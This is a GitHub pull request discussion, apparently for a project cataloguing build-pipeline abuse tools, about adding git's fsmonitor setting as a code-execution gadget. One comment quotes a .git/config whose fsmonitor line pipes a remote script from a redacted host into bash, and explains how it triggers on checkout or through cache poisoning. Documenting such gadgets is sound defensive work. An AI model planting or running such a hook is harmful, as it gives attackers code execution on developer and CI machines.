Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add git #15

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open

Add git #15

wants to merge 2 commits into from

Conversation

ZanyMonk
Copy link

Add git tool and an example using fsmonitor.

@ZanyMonk ZanyMonk requested a review from a team as a code owner February 22, 2024 23:14
@fproulx-boostsecurity
Copy link
Contributor

Thank you @ZanyMonk.
We are about to change the license and we’d like to do that before accepting external contributions. I would really like to merge your PR, but first would like to see if you’d agree with contributing under Apache 2.0 instead (see #17)

@ZanyMonk
Copy link
Author

Of course !
Please, feel free to make as much money as you can from this PR ;)

Cheers

@fproulx-boostsecurity
Copy link
Contributor

Of course ! Please, feel free to make as much money as you can from this PR ;)

Cheers

TBH it came from other folks in the community that said they would not contribute if we did not adjust the license. I prefer to align with something that people are most comfortable, to make that a real community focal point.

Thanks :)

@fproulx-boostsecurity
Copy link
Contributor

fproulx-boostsecurity commented Feb 23, 2024

@ZanyMonk do you have concrete examples of how this can be exploited in practice in a pipeline by a threat actor ?

git push will not push any local changes to .git/config file in a local clone, so one would not to explicitly copy a template git config file stored inside the repo like cp config/git_config_template .git/config or something?

@ZanyMonk
Copy link
Author

ZanyMonk commented Feb 23, 2024

I've came across the following example on an exposed .git/config file:

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        fsmonitor = "bash -c 'curl -s https://[redacted]/static/img/fickdich.js | bash'"
[user]
        email = [redacted]

If you download this file on your host (as well as its whole .git directory, more or less), and then execute git checkout . in the created git repository in order to restore the worktree from raw objects/packs, the command in fsmonitor is executed.

Also, using sh -c 'command' allows to run the command as the current user rather than daemon.


This is clearly a footgun, targetted against hackers who would eventually try and dump the repo with tools such as git-dumper (most of those tools use git binaries to achieve their task, therefore triggering the exploit).

This could also be used as a gadget, within a bigger exploit chain. Say you can write somewhat arbitrary files but you can't execute, then you could eventually use this method to gain command execution. I think this part could be useful in the context of a pipeline/supply chain attack, but I may be wrong !

@fproulx-boostsecurity
Copy link
Contributor

fproulx-boostsecurity commented Feb 23, 2024

Yes, yes, I certainly don't disagree with it being a LOTP, it's just that this is much less likely to be found directly in CI/CD. In terms of the SLSA threat model this is an attack more on the dev's workstation

All I'm saying is that I'm happy to include, but I'm thinking how to refactor the tool pages to call out the different threat models.

image

@AdnaneKhan
Copy link

AdnaneKhan commented Mar 12, 2024

This is definitely a useful gadget in a CI/CD scenario with cache poisoning where there is a call to git checkout after a cache restore step. For GitHub Actions at least, a poisoned cache is arbitrary file write.

@fproulx-boostsecurity
Copy link
Contributor

Hey @AdnaneKhan. Sorry I just saw this now.
can you elaborate with an example.

We were discussing internally the other about accepting the PR but adding some caveats and more concrete realistic scenarios.

The easiest that comes to mind was a tarball containing of .git followed by some git command.

But i really like your idea.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants